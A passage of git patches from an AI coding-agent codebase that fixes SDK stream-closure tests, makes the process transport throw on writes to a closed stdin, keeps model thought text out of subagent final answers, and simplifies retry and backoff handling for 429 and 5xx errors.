@@ describe('Tool Control Parameters (E2E)', () => { async () => { await helper.createFile('test.txt', 'original content'); + const resultWaiter = createResultWaiter(1); const canUseToolCalls: Array<{ toolName: string; input: Record; @@ -768,7 +771,7 @@ describe('Tool Control Parameters (E2E)', () => { parent_tool_use_id: null, }; - await new Promise((resolve) => setTimeout(resolve, 3000)); + await resultWaiter.waitForResult(0); } const q = query({ @@ -795,6 +798,9 @@ describe('Tool Control Parameters (E2E)', () => { try { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } const toolCalls = findToolCalls(messages); @@ -827,6 +833,7 @@ describe('Tool Control Parameters (E2E)', () => { async () => { await helper.createFile('test.txt', 'original content'); + const resultWaiter = createResultWaiter(1); // Create an async generator that yields a single message async function* createPrompt(): AsyncIterable { yield { @@ -838,7 +845,7 @@ describe('Tool Control Parameters (E2E)', () => { }, parent_tool_use_id: null, }; - await new Promise((resolve) => setTimeout(resolve, 3000)); + await resultWaiter.waitForResult(0); } const q = query({ @@ -866,6 +873,9 @@ describe('Tool Control Parameters (E2E)', () => { try { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } // write_file should have been attempted but stream was closed @@ -892,6 +902,7 @@ describe('Tool Control Parameters (E2E)', () => { async () => { await helper.createFile('data.txt', 'initial data'); + const resultWaiter = createResultWaiter(2); const canUseToolCalls: string[] = []; // Create an async generator that yields multiple messages @@ -908,8 +919,7 @@ describe('Tool Control Parameters (E2E)', () => { parent_tool_use_id: null, }; - // Small delay to simulate multi-turn conversation - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -920,6 +930,8 @@ describe('Tool Control Parameters (E2E)', () => { }, parent_tool_use_id: null, }; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -942,6 +954,9 @@ describe('Tool Control Parameters (E2E)', () => { try { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } const toolCalls = findToolCalls(messages); @@ -951,17 +966,14 @@ describe('Tool Control Parameters (E2E)', () => { expect(toolNames).toContain('read_file'); expect(toolNames).toContain('write_file'); - // canUseTool should not be called once stream is closed - expect(canUseToolCalls).toHaveLength(0); + expect(canUseToolCalls).toContain('write_file'); const writeFileResults = findToolResults(messages, 'write_file'); expect(writeFileResults.length).toBeGreaterThan(0); - for (const result of writeFileResults) { - expect(result.content).toContain('Error: Input closed'); - } const content = await helper.readFile('data.txt'); - expect(content).toBe('initial data'); + expect(content).toContain('initial data'); + expect(content).toContain(' - updated'); } finally { await q.close(); } diff --git a/packages/sdk-typescript/src/transport/ProcessTransport.ts b/packages/sdk-typescript/src/transport/ProcessTransport.ts index 6d71c69e0..ff4518833 100644 --- a/packages/sdk-typescript/src/transport/ProcessTransport.ts +++ b/packages/sdk-typescript/src/transport/ProcessTransport.ts @@ -282,9 +282,9 @@ export class ProcessTransport implements Transport { if (this.childStdin.writableEnded || this.childStdin.destroyed) { this.inputClosed = true; logger.warn( - `Cannot write to ${this.childStdin.writableEnded ? 'ended' : 'destroyed'} stdin stream, ignoring write`, + `Cannot write to ${this.childStdin.writableEnded ? 'ended' : 'destroyed'} stdin stream`, ); - return; + throw new Error('Input stream closed'); } if (this.childProcess?.killed || this.childProcess?.exitCode !== null) { @@ -319,10 +319,9 @@ export class ProcessTransport implements Transport { errorMsg.includes('write after end'); if (isStreamClosedError) { - // Soft-fail: log and return without throwing or changing ready state this.inputClosed = true; logger.warn(`Stream closed, cannot write: ${errorMsg}`); - return; + throw new Error('Input stream closed'); } // For other errors, maintain original behavior From 76693192c0e846c1de6ea22634cd6e5cde3fa4b8 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Tue, 27 Jan 2026 17:18:31 +0800 Subject: [PATCH 49/79] fix(acp): exclude thought text from finalText and add core-side tests - Skip thought parts when accumulating roundText so reasoning content does not leak into the subagent's final answer. - Remove unnecessary `as SubAgentStreamTextEvent` type assertion. - Add core tests for STREAM_TEXT thought flag and finalText exclusion. --- packages/core/src/subagents/subagent.test.ts | 156 +++++++++++++++++++ packages/core/src/subagents/subagent.ts | 5 +- 2 files changed, 158 insertions(+), 3 deletions(-) diff --git a/packages/core/src/subagents/subagent.test.ts b/packages/core/src/subagents/subagent.test.ts index ed34a511d..67b9f375e 100644 --- a/packages/core/src/subagents/subagent.test.ts +++ b/packages/core/src/subagents/subagent.test.ts @@ -34,6 +34,11 @@ import { executeToolCall } from '../core/nonInteractiveToolExecutor.js'; import type { ToolRegistry } from '../tools/tool-registry.js'; import { type AnyDeclarativeTool } from '../tools/tools.js'; import { ContextState, SubAgentScope } from './subagent.js'; +import { + SubAgentEventEmitter, + SubAgentEventType, + type SubAgentStreamTextEvent, +} from './subagent-events.js'; import type { ModelConfig, PromptConfig, @@ -774,5 +779,156 @@ describe('subagent.ts', () => { expect(scope.getTerminateMode()).toBe(SubagentTerminateMode.ERROR); }); }); + + describe('runNonInteractive - Streaming and Thought Handling', () => { + const promptConfig: PromptConfig = { systemPrompt: 'Execute task.' }; + + // Helper to create a mock stream that yields specific parts + const createMockStreamWithParts = (parts: Part[]) => vi.fn().mockImplementation(async () => (async function* () { + yield { + type: 'chunk', + value: { + candidates: [ + { + content: { parts }, + }, + ], + }, + }; + })()); + + it('should emit STREAM_TEXT events with thought flag', async () => { + const { config } = await createMockConfig(); + + mockSendMessageStream = createMockStreamWithParts([ + { text: 'Let me think...' as string, thought: true }, + { text: 'Here is the answer.' as string }, + ]); + vi.mocked(GeminiChat).mockImplementation( + () => + ({ + sendMessageStream: mockSendMessageStream, + }) as unknown as GeminiChat, + ); + + const eventEmitter = new SubAgentEventEmitter(); + const events: SubAgentStreamTextEvent[] = []; + eventEmitter.on(SubAgentEventType.STREAM_TEXT, (...args: unknown[]) => { + events.push(args[0] as SubAgentStreamTextEvent); + }); + + const scope = await SubAgentScope.create( + 'test-agent', + config, + promptConfig, + defaultModelConfig, + defaultRunConfig, + undefined, + eventEmitter, + ); + + await scope.runNonInteractive(new ContextState()); + + expect(events).toHaveLength(2); + expect(events[0]!.text).toBe('Let me think...'); + expect(events[0]!.thought).toBe(true); + expect(events[1]!.text).toBe('Here is the answer.'); + expect(events[1]!.thought).toBe(false); + }); + + it('should exclude thought text from finalText', async () => { + const { config } = await createMockConfig(); + + mockSendMessageStream = createMockStreamWithParts([ + { text: 'Internal reasoning here.' as string, thought: true }, + { text: 'The final answer.' as string }, + ]); + vi.mocked(GeminiChat).mockImplementation( + () => + ({ + sendMessageStream: mockSendMessageStream, + }) as unknown as GeminiChat, + ); + + const scope = await SubAgentScope.create( + 'test-agent', + config, + promptConfig, + defaultModelConfig, + defaultRunConfig, + ); + + await scope.runNonInteractive(new ContextState()); + + expect(scope.getTerminateMode()).toBe(SubagentTerminateMode.GOAL); + expect(scope.getFinalText()).toBe('The final answer.'); + }); + + it('should not set finalText from thought-only response', async () => { + const { config } = await createMockConfig(); + + // First call: only thought text (no regular text → nudge) + // Second call: regular text response + let callIndex = 0; + mockSendMessageStream = vi.fn().mockImplementation(async () => { + const idx = callIndex++; + return (async function* () { + if (idx === 0) { + yield { + type: 'chunk', + value: { + candidates: [ + { + content: { + parts: [ + { + text: 'Just thinking...' as string, + thought: true, + }, + ], + }, + }, + ], + }, + }; + } else { + yield { + type: 'chunk', + value: { + candidates: [ + { + content: { + parts: [{ text: 'Actual output.' as string }], + }, + }, + ], + }, + }; + } + })(); + }); + vi.mocked(GeminiChat).mockImplementation( + () => + ({ + sendMessageStream: mockSendMessageStream, + }) as unknown as GeminiChat, + ); + + const scope = await SubAgentScope.create( + 'test-agent', + config, + promptConfig, + defaultModelConfig, + defaultRunConfig, + ); + + await scope.runNonInteractive(new ContextState()); + + expect(scope.getTerminateMode()).toBe(SubagentTerminateMode.GOAL); + expect(scope.getFinalText()).toBe('Actual output.'); + // Should have been called twice: first with thought-only, then nudged + expect(mockSendMessageStream).toHaveBeenCalledTimes(2); + }); + }); }); }); diff --git a/packages/core/src/subagents/subagent.ts b/packages/core/src/subagents/subagent.ts index a8dbda7cc..7f3146e98 100644 --- a/packages/core/src/subagents/subagent.ts +++ b/packages/core/src/subagents/subagent.ts @@ -39,7 +39,6 @@ import type { SubAgentStartEvent, SubAgentToolCallEvent, SubAgentToolResultEvent, - SubAgentStreamTextEvent, SubAgentErrorEvent, SubAgentUsageEvent, } from './subagent-events.js'; @@ -414,7 +413,7 @@ export class SubAgentScope { for (const p of parts) { const txt = p.text; const isThought = p.thought ?? false; - if (txt) roundText += txt; + if (txt && !isThought) roundText += txt; if (txt) this.eventEmitter?.emit(SubAgentEventType.STREAM_TEXT, { subagentId: this.subagentId, @@ -422,7 +421,7 @@ export class SubAgentScope { text: txt, thought: isThought, timestamp: Date.now(), - } as SubAgentStreamTextEvent); + }); } if (resp.usageMetadata) lastUsage = resp.usageMetadata; } From 810b03c23d67b4b336e3cba0544ae521802a565a Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 20:07:35 +0800 Subject: [PATCH 50/79] fix: failed unit test --- packages/sdk-typescript/test/unit/ProcessTransport.test.ts | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/packages/sdk-typescript/test/unit/ProcessTransport.test.ts b/packages/sdk-typescript/test/unit/ProcessTransport.test.ts index 577bbaf7f..87bf6bc2a 100644 --- a/packages/sdk-typescript/test/unit/ProcessTransport.test.ts +++ b/packages/sdk-typescript/test/unit/ProcessTransport.test.ts @@ -647,7 +647,7 @@ describe('ProcessTransport', () => { ); }); - it('should not throw when writing to ended stream (soft-fail)', () => { + it('should throw when writing to ended stream', () => { mockPrepareSpawnInfo.mockReturnValue({ command: 'qwen', args: [], @@ -664,8 +664,7 @@ describe('ProcessTransport', () => { mockStdin.end(); - // Should not throw - soft-fail behavior - expect(() => transport.write('test')).not.toThrow(); + expect(() => transport.write('test')).toThrow('Input stream closed'); }); it('should throw if writing to terminated process', () => { From ca241bd4da225d1d172999fdd5864ec2efb431f1 Mon Sep 17 00:00:00 2001 From: tanzhenxin Date: Tue, 27 Jan 2026 20:14:13 +0800 Subject: [PATCH 51/79] feat(core): improve retry logic for better 429/5xx error handling - Increase max retry attempts from 5 to 7 for better resilience - Reduce initial delay from 5000ms to 1500ms for faster recovery - Simplify getErrorStatus() to handle more status field variations (status, statusCode, response.status, error.code) - Remove model fallback mechanism (onPersistent429 callback) - Remove isQwenThrottlingError() in favor of generic retry logic - Clean up retry logging and error handling code This improves the experience for users on services with throttling like Idealab by providing more robust and faster retry behavior. Related to #973 --- packages/core/src/core/baseLlmClient.test.ts | 4 +- packages/core/src/core/baseLlmClient.ts | 2 +- packages/core/src/core/client.ts | 11 -- packages/core/src/core/geminiChat.test.ts | 139 +----------------- packages/core/src/core/geminiChat.ts | 23 ++- .../src/utils/quotaErrorDetection.test.ts | 60 -------- .../core/src/utils/quotaErrorDetection.ts | 41 ------ packages/core/src/utils/retry.test.ts | 107 ++++++++++++-- packages/core/src/utils/retry.ts | 132 ++++------------- 9 files changed, 148 insertions(+), 371 deletions(-) diff --git a/packages/core/src/core/baseLlmClient.test.ts b/packages/core/src/core/baseLlmClient.test.ts index 3f2b71d15..df8d82cf9 100644 --- a/packages/core/src/core/baseLlmClient.test.ts +++ b/packages/core/src/core/baseLlmClient.test.ts @@ -139,7 +139,7 @@ describe('BaseLlmClient', () => { expect(retryWithBackoff).toHaveBeenCalledWith( expect.any(Function), expect.objectContaining({ - maxAttempts: 5, + maxAttempts: 7, }), ); @@ -285,7 +285,7 @@ describe('BaseLlmClient', () => { expect(retryWithBackoff).toHaveBeenCalledWith( expect.any(Function), expect.objectContaining({ - maxAttempts: 5, + maxAttempts: 7, }), ); }); diff --git a/packages/core/src/core/baseLlmClient.ts b/packages/core/src/core/baseLlmClient.ts index e97ce892f..53df44fa5 100644 --- a/packages/core/src/core/baseLlmClient.ts +++ b/packages/core/src/core/baseLlmClient.ts @@ -20,7 +20,7 @@ import { getErrorMessage } from '../utils/errors.js'; import { retryWithBackoff } from '../utils/retry.js'; import { getFunctionCalls } from '../utils/generateContentResponseUtilities.js'; -const DEFAULT_MAX_ATTEMPTS = 5; +const DEFAULT_MAX_ATTEMPTS = 7; /** * Options for the generateJson utility function. diff --git a/packages/core/src/core/client.ts b/packages/core/src/core/client.ts index 09821e602..3a912c090 100644 --- a/packages/core/src/core/client.ts +++ b/packages/core/src/core/client.ts @@ -70,9 +70,6 @@ import { retryWithBackoff } from '../utils/retry.js'; import { ideContextStore } from '../ide/ideContext.js'; import { type File, type IdeContext } from '../ide/types.js'; -// Fallback handling -import { handleFallback } from '../fallback/handler.js'; - const MAX_TURNS = 100; export class GeminiClient { @@ -607,15 +604,7 @@ export class GeminiClient { this.lastPromptId!, ); }; - const onPersistent429Callback = async ( - authType?: string, - error?: unknown, - ) => - // Pass the captured model to the centralized handler. - await handleFallback(this.config, currentAttemptModel, authType, error); - const result = await retryWithBackoff(apiCall, { - onPersistent429: onPersistent429Callback, authType: this.config.getContentGeneratorConfig()?.authType, }); return result; diff --git a/packages/core/src/core/geminiChat.test.ts b/packages/core/src/core/geminiChat.test.ts index f438589d0..57685e6fb 100644 --- a/packages/core/src/core/geminiChat.test.ts +++ b/packages/core/src/core/geminiChat.test.ts @@ -20,8 +20,6 @@ import { } from './geminiChat.js'; import type { Config } from '../config/config.js'; import { setSimulate429 } from '../utils/testUtils.js'; -import { AuthType } from './contentGenerator.js'; -import { type RetryOptions } from '../utils/retry.js'; import { uiTelemetryService } from '../telemetry/uiTelemetry.js'; // Mock fs module to prevent actual file system operations during tests @@ -51,22 +49,18 @@ vi.mock('node:fs', () => { }; }); -const { mockHandleFallback } = vi.hoisted(() => ({ - mockHandleFallback: vi.fn(), -})); - // Add mock for the retry utility const { mockRetryWithBackoff } = vi.hoisted(() => ({ mockRetryWithBackoff: vi.fn(), })); -vi.mock('../utils/retry.js', () => ({ - retryWithBackoff: mockRetryWithBackoff, -})); - -vi.mock('../fallback/handler.js', () => ({ - handleFallback: mockHandleFallback, -})); +vi.mock('../utils/retry.js', async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + retryWithBackoff: mockRetryWithBackoff, + }; +}); const { mockLogContentRetry, mockLogContentRetryFailure } = vi.hoisted(() => ({ mockLogContentRetry: vi.fn(), @@ -102,7 +96,6 @@ describe('GeminiChat', () => { useSummarizedThinking: vi.fn().mockReturnValue(false), } as unknown as ContentGenerator; - mockHandleFallback.mockClear(); // Default mock implementation for tests that don't care about retry logic mockRetryWithBackoff.mockImplementation(async (apiCall) => apiCall()); mockConfig = { @@ -1371,124 +1364,6 @@ describe('GeminiChat', () => { }); }); - describe('Fallback Integration (Retries)', () => { - const error429 = new ApiError({ - message: 'API Error 429: Quota exceeded', - status: 429, - }); - - // Define the simulated behavior for retryWithBackoff for these tests. - // This simulation tries the apiCall, if it fails, it calls the callback, - // and then tries the apiCall again if the callback returns true. - const simulateRetryBehavior = async ( - apiCall: () => Promise, - options: Partial, - ) => { - try { - return await apiCall(); - } catch (error) { - if (options.onPersistent429) { - // We simulate the "persistent" trigger here for simplicity. - const shouldRetry = await options.onPersistent429( - options.authType, - error, - ); - if (shouldRetry) { - return await apiCall(); - } - } - throw error; // Stop if callback returns false/null or doesn't exist - } - }; - - beforeEach(() => { - mockRetryWithBackoff.mockImplementation(simulateRetryBehavior); - }); - - afterEach(() => { - mockRetryWithBackoff.mockImplementation(async (apiCall) => apiCall()); - }); - - it('should call handleFallback with the specific failed model and retry if handler returns true', async () => { - const authType = AuthType.USE_GEMINI; - vi.mocked(mockConfig.getContentGeneratorConfig).mockReturnValue({ - model: 'test-model', - authType, - }); - - vi.mocked(mockContentGenerator.generateContentStream) - .mockRejectedValueOnce(error429) // Attempt 1 fails - .mockResolvedValueOnce( - // Attempt 2 succeeds - (async function* () { - yield { - candidates: [ - { - content: { parts: [{ text: 'Success on retry' }] }, - finishReason: 'STOP', - }, - ], - } as unknown as GenerateContentResponse; - })(), - ); - - mockHandleFallback.mockImplementation(async () => true); - - const stream = await chat.sendMessageStream( - 'test-model', - { message: 'trigger 429' }, - 'prompt-id-fb1', - ); - - // Consume stream to trigger logic - for await (const _ of stream) { - // no-op - } - - expect(mockContentGenerator.generateContentStream).toHaveBeenCalledTimes( - 2, - ); - expect(mockHandleFallback).toHaveBeenCalledTimes(1); - expect(mockHandleFallback).toHaveBeenCalledWith( - mockConfig, - 'test-model', - authType, - error429, - ); - - const history = chat.getHistory(); - const modelTurn = history[1]!; - expect(modelTurn.parts![0]!.text).toBe('Success on retry'); - }); - - it('should stop retrying if handleFallback returns false (e.g., auth intent)', async () => { - vi.mocked(mockConfig.getModel).mockReturnValue('gemini-pro'); - vi.mocked(mockContentGenerator.generateContentStream).mockRejectedValue( - error429, - ); - mockHandleFallback.mockResolvedValue(false); - - const stream = await chat.sendMessageStream( - 'test-model', - { message: 'test stop' }, - 'prompt-id-fb2', - ); - - await expect( - (async () => { - for await (const _ of stream) { - /* consume stream */ - } - })(), - ).rejects.toThrow(error429); - - expect(mockContentGenerator.generateContentStream).toHaveBeenCalledTimes( - 1, - ); - expect(mockHandleFallback).toHaveBeenCalledTimes(1); - }); - }); - it('should discard valid partial content from a failed attempt upon retry', async () => { // Mock the stream to fail on the first attempt after yielding some valid content. vi.mocked(mockContentGenerator.generateContentStream) diff --git a/packages/core/src/core/geminiChat.ts b/packages/core/src/core/geminiChat.ts index 8bc49d08d..df864eb3b 100644 --- a/packages/core/src/core/geminiChat.ts +++ b/packages/core/src/core/geminiChat.ts @@ -16,8 +16,8 @@ import type { Tool, GenerateContentResponseUsageMetadata, } from '@google/genai'; -import { ApiError, createUserContent } from '@google/genai'; -import { retryWithBackoff } from '../utils/retry.js'; +import { createUserContent } from '@google/genai'; +import { getErrorStatus, retryWithBackoff } from '../utils/retry.js'; import type { Config } from '../config/config.js'; import { hasCycleInSchema } from '../tools/tools.js'; import type { StructuredError } from './turn.js'; @@ -30,7 +30,6 @@ import { ContentRetryEvent, ContentRetryFailureEvent, } from '../telemetry/types.js'; -import { handleFallback } from '../fallback/handler.js'; import { uiTelemetryService } from '../telemetry/uiTelemetry.js'; export enum StreamEventType { @@ -357,22 +356,20 @@ export class GeminiChat { }, prompt_id, ); - const onPersistent429Callback = async ( - authType?: string, - error?: unknown, - ) => await handleFallback(this.config, model, authType, error); - const streamResponse = await retryWithBackoff(apiCall, { shouldRetryOnError: (error: unknown) => { - if (error instanceof ApiError && error.message) { - if (error.status === 400) return false; + if (error instanceof Error) { if (isSchemaDepthError(error.message)) return false; - if (error.status === 429) return true; - if (error.status >= 500 && error.status < 600) return true; + if (isInvalidArgumentError(error.message)) return false; } + + const status = getErrorStatus(error); + if (status === 400) return false; + if (status === 429) return true; + if (status && status >= 500 && status < 600) return true; + return false; }, - onPersistent429: onPersistent429Callback, authType: this.config.getContentGeneratorConfig()?.authType, }); diff --git a/packages/core/src/utils/quotaErrorDetection.test.ts b/packages/core/src/utils/quotaErrorDetection.test.ts index e3c83924f..01dccec24 100644 --- a/packages/core/src/utils/quotaErrorDetection.test.ts +++ b/packages/core/src/utils/quotaErrorDetection.test.ts @@ -7,7 +7,6 @@ import { describe, it, expect } from 'vitest'; import { isQwenQuotaExceededError, - isQwenThrottlingError, isProQuotaExceededError, isGenericQuotaExceededError, isApiError, @@ -65,65 +64,6 @@ describe('quotaErrorDetection', () => { }); }); - describe('isQwenThrottlingError', () => { - it('should detect throttling error with 429 status', () => { - const error = { message: 'throttling', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect requests throttling triggered with 429 status', () => { - const error = { message: 'requests throttling triggered', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect rate limit error with 429 status', () => { - const error = { message: 'rate limit exceeded', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect too many requests with 429 status', () => { - const error = { message: 'too many requests', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect throttling in string error', () => { - const error = 'throttling'; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect throttling in structured error with 429', () => { - const error = { message: 'requests throttling triggered', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should detect throttling in API error with 429', () => { - const error: ApiError = { - error: { - code: 429, - message: 'throttling', - status: 'RESOURCE_EXHAUSTED', - details: [], - }, - }; - expect(isQwenThrottlingError(error)).toBe(true); - }); - - it('should not detect throttling without 429 status in structured error', () => { - const error = { message: 'throttling', status: 500 }; - expect(isQwenThrottlingError(error)).toBe(false); - }); - - it('should not detect quota exceeded as throttling', () => { - const error = { message: 'insufficient_quota', status: 429 }; - expect(isQwenThrottlingError(error)).toBe(false); - }); - - it('should not detect unrelated errors as throttling', () => { - const error = { message: 'Network error', status: 500 }; - expect(isQwenThrottlingError(error)).toBe(false); - }); - }); - describe('isProQuotaExceededError', () => { it('should detect Gemini Pro quota exceeded error', () => { const error = new Error( diff --git a/packages/core/src/utils/quotaErrorDetection.ts b/packages/core/src/utils/quotaErrorDetection.ts index 8d8cfbc89..1c8af9cd3 100644 --- a/packages/core/src/utils/quotaErrorDetection.ts +++ b/packages/core/src/utils/quotaErrorDetection.ts @@ -124,44 +124,3 @@ export function isQwenQuotaExceededError(error: unknown): boolean { return false; } - -export function isQwenThrottlingError(error: unknown): boolean { - // Check for Qwen throttling errors (should retry) - const checkMessage = (message: string): boolean => { - const lowerMessage = message.toLowerCase(); - return ( - lowerMessage.includes('throttling') || - lowerMessage.includes('requests throttling triggered') || - lowerMessage.includes('rate limit') || - lowerMessage.includes('too many requests') - ); - }; - - // Check status code - const getStatusCode = (error: unknown): number | undefined => { - if (error && typeof error === 'object') { - const errorObj = error as { status?: number; code?: number }; - return errorObj.status || errorObj.code; - } - return undefined; - }; - - const statusCode = getStatusCode(error); - - if (typeof error === 'string') { - return ( - (statusCode === 429 && checkMessage(error)) || - error.includes('throttling') - ); - } - - if (isStructuredError(error)) { - return statusCode === 429 && checkMessage(error.message); - } - - if (isApiError(error)) { - return error.error.code === 429 && checkMessage(error.error.message); - } - - return false; -} diff --git a/packages/core/src/utils/retry.test.ts b/packages/core/src/utils/retry.test.ts index 270909696..490f24448 100644 --- a/packages/core/src/utils/retry.test.ts +++ b/packages/core/src/utils/retry.test.ts @@ -7,7 +7,7 @@ /* eslint-disable @typescript-eslint/no-explicit-any */ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest'; import type { HttpError } from './retry.js'; -import { retryWithBackoff } from './retry.js'; +import { getErrorStatus, retryWithBackoff } from './retry.js'; import { setSimulate429 } from './testUtils.js'; import { AuthType } from '../core/contentGenerator.js'; @@ -100,38 +100,38 @@ describe('retryWithBackoff', () => { expect(mockFn).toHaveBeenCalledTimes(3); }); - it('should default to 5 maxAttempts if no options are provided', async () => { - // This function will fail more than 5 times to ensure all retries are used. + it('should default to 7 maxAttempts if no options are provided', async () => { + // This function will fail more than 7 times to ensure all retries are used. const mockFn = createFailingFunction(10); const promise = retryWithBackoff(mockFn); - // Expect it to fail with the error from the 5th attempt. + // Expect it to fail with the error from the 7th attempt. // eslint-disable-next-line vitest/valid-expect const assertionPromise = expect(promise).rejects.toThrow( - 'Simulated error attempt 5', + 'Simulated error attempt 7', ); await vi.runAllTimersAsync(); await assertionPromise; - expect(mockFn).toHaveBeenCalledTimes(5); + expect(mockFn).toHaveBeenCalledTimes(7); }); - it('should default to 5 maxAttempts if options.maxAttempts is undefined', async () => { - // This function will fail more than 5 times to ensure all retries are used. + it('should default to 7 maxAttempts if options.maxAttempts is undefined', async () => { + // This function will fail more than 7 times to ensure all retries are used. const mockFn = createFailingFunction(10); const promise = retryWithBackoff(mockFn, { maxAttempts: undefined }); - // Expect it to fail with the error from the 5th attempt. + // Expect it to fail with the error from the 7th attempt. // eslint-disable-next-line vitest/valid-expect const assertionPromise = expect(promise).rejects.toThrow( - 'Simulated error attempt 5', + 'Simulated error attempt 7', ); await vi.runAllTimersAsync(); await assertionPromise; - expect(mockFn).toHaveBeenCalledTimes(5); + expect(mockFn).toHaveBeenCalledTimes(7); }); it('should not retry if shouldRetry returns false', async () => { @@ -447,3 +447,88 @@ describe('retryWithBackoff', () => { }); }); }); + +describe('getErrorStatus', () => { + it('should extract status from error.status (OpenAI/Anthropic/Gemini style)', () => { + expect(getErrorStatus({ status: 429 })).toBe(429); + expect(getErrorStatus({ status: 500 })).toBe(500); + expect(getErrorStatus({ status: 503 })).toBe(503); + expect(getErrorStatus({ status: 400 })).toBe(400); + }); + + it('should extract status from error.statusCode', () => { + expect(getErrorStatus({ statusCode: 429 })).toBe(429); + expect(getErrorStatus({ statusCode: 502 })).toBe(502); + }); + + it('should extract status from error.response.status (axios style)', () => { + expect(getErrorStatus({ response: { status: 429 } })).toBe(429); + expect(getErrorStatus({ response: { status: 503 } })).toBe(503); + }); + + it('should extract status from error.error.code (nested error style)', () => { + expect(getErrorStatus({ error: { code: 429 } })).toBe(429); + expect(getErrorStatus({ error: { code: 500 } })).toBe(500); + }); + + it('should prefer status over statusCode over response.status over error.code', () => { + expect( + getErrorStatus({ + status: 429, + statusCode: 500, + response: { status: 502 }, + error: { code: 503 }, + }), + ).toBe(429); + + expect( + getErrorStatus({ + statusCode: 500, + response: { status: 502 }, + error: { code: 503 }, + }), + ).toBe(500); + + expect( + getErrorStatus({ response: { status: 502 }, error: { code: 503 } }), + ).toBe(502); + }); + + it('should return undefined for out-of-range status codes', () => { + expect(getErrorStatus({ status: 0 })).toBeUndefined(); + expect(getErrorStatus({ status: 99 })).toBeUndefined(); + expect(getErrorStatus({ status: 600 })).toBeUndefined(); + expect(getErrorStatus({ status: -1 })).toBeUndefined(); + }); + + it('should return undefined for non-numeric status values', () => { + expect(getErrorStatus({ status: 'not_a_number' })).toBeUndefined(); + expect( + getErrorStatus({ error: { code: 'invalid_api_key' } }), + ).toBeUndefined(); + }); + + it('should return undefined for null, undefined, and non-object values', () => { + expect(getErrorStatus(null)).toBeUndefined(); + expect(getErrorStatus(undefined)).toBeUndefined(); + expect(getErrorStatus(true)).toBeUndefined(); + expect(getErrorStatus(429)).toBeUndefined(); + expect(getErrorStatus('500')).toBeUndefined(); + }); + + it('should handle Error instances with a status property', () => { + const error: HttpError = new Error('Too Many Requests'); + error.status = 429; + expect(getErrorStatus(error)).toBe(429); + }); + + it('should return undefined for Error instances without a status', () => { + expect(getErrorStatus(new Error('generic error'))).toBeUndefined(); + }); + + it('should return undefined for empty objects', () => { + expect(getErrorStatus({})).toBeUndefined(); + expect(getErrorStatus({ response: {} })).toBeUndefined(); + expect(getErrorStatus({ error: {} })).toBeUndefined(); + }); +}); diff --git a/packages/core/src/utils/retry.ts b/packages/core/src/utils/retry.ts index 9e9412af1..97aaa8330 100644 --- a/packages/core/src/utils/retry.ts +++ b/packages/core/src/utils/retry.ts @@ -6,10 +6,7 @@ import type { GenerateContentResponse } from '@google/genai'; import { AuthType } from '../core/contentGenerator.js'; -import { - isQwenQuotaExceededError, - isQwenThrottlingError, -} from './quotaErrorDetection.js'; +import { isQwenQuotaExceededError } from './quotaErrorDetection.js'; export interface HttpError extends Error { status?: number; @@ -21,16 +18,12 @@ export interface RetryOptions { maxDelayMs: number; shouldRetryOnError: (error: Error) => boolean; shouldRetryOnContent?: (content: GenerateContentResponse) => boolean; - onPersistent429?: ( - authType?: string, - error?: unknown, - ) => Promise; authType?: string; } const DEFAULT_RETRY_OPTIONS: RetryOptions = { - maxAttempts: 5, - initialDelayMs: 5000, + maxAttempts: 7, + initialDelayMs: 1500, maxDelayMs: 30000, // 30 seconds shouldRetryOnError: defaultShouldRetry, }; @@ -42,18 +35,10 @@ const DEFAULT_RETRY_OPTIONS: RetryOptions = { * @returns True if the error is a transient error, false otherwise. */ function defaultShouldRetry(error: Error | unknown): boolean { - // Check for common transient error status codes either in message or a status property - if (error && typeof (error as { status?: number }).status === 'number') { - const status = (error as { status: number }).status; - if (status === 429 || (status >= 500 && status < 600)) { - return true; - } - } - if (error instanceof Error && error.message) { - if (error.message.includes('429')) return true; - if (error.message.match(/5\d{2}/)) return true; - } - return false; + const status = getErrorStatus(error); + return ( + status === 429 || (status !== undefined && status >= 500 && status < 600) + ); } /** @@ -98,7 +83,6 @@ export async function retryWithBackoff( let attempt = 0; let currentDelay = initialDelayMs; - let consecutive429Count = 0; while (attempt < maxAttempts) { attempt++; @@ -127,37 +111,21 @@ export async function retryWithBackoff( ); } - // Track consecutive 429 errors, but handle Qwen throttling differently - if (errorStatus === 429) { - // For Qwen throttling errors, we still want to track them for exponential backoff - // but not for quota fallback logic (since Qwen doesn't have model fallback) - if (authType === AuthType.QWEN_OAUTH && isQwenThrottlingError(error)) { - // Keep track of 429s but reset the consecutive count to avoid fallback logic - consecutive429Count = 0; - } else { - consecutive429Count++; - } - } else { - consecutive429Count = 0; - } - - console.debug('consecutive429Count', consecutive429Count); - // Check if we've exhausted retries or shouldn't retry if (attempt >= maxAttempts || !shouldRetryOnError(error as Error)) { throw error; } - const { delayDurationMs, errorStatus: delayErrorStatus } = - getDelayDurationAndStatus(error); + const retryAfterMs = + errorStatus === 429 ? getRetryAfterDelayMs(error) : 0; - if (delayDurationMs > 0) { + if (retryAfterMs > 0) { // Respect Retry-After header if present and parsed console.warn( - `Attempt ${attempt} failed with status ${delayErrorStatus ?? 'unknown'}. Retrying after explicit delay of ${delayDurationMs}ms...`, + `Attempt ${attempt} failed with status ${errorStatus ?? 'unknown'}. Retrying after explicit delay of ${retryAfterMs}ms...`, error, ); - await delay(delayDurationMs); + await delay(retryAfterMs); // Reset currentDelay for next potential 